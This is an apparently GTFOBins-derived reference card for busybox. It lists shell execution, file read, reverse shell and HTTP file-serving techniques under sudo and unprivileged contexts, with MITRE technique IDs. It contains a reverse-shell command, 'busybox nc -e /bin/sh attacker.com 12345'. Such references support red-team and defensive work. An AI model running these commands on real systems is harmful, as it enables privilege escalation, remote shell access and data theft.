GTFO · Tool

busybox

8 techniquesLinuxGTFOBinsGPL-3.0

inherit ← ash

File WriteExecutionPrivilege EscalationLinux

busybox ash

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: inherit, from:ash
MITRE: T1565 T1059
Refs: gtfobins.github.io/gtfobins/busybox/

File WriteExecutionLinux

busybox ash

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: inherit, from:ash
MITRE: T1565 T1059
Refs: gtfobins.github.io/gtfobins/busybox/

File ReadPrivilege EscalationLinux

busybox cat

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: inherit, from:cat
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/busybox/

File ReadLinux

busybox cat

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: inherit, from:cat
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/busybox/

Reverse/Bind ShellPrivilege EscalationLinux

busybox nc -e /bin/sh attacker.com 12345

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/busybox/

Reverse/Bind ShellLinux

busybox nc -e /bin/sh attacker.com 12345

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/busybox/

File UploadPrivilege EscalationLinux

This serves files in the local folder via an HTTP server.

busybox httpd -f -p 12345 -h .

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/busybox/

File UploadLinux

This serves files in the local folder via an HTTP server.

busybox httpd -f -p 12345 -h .

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/busybox/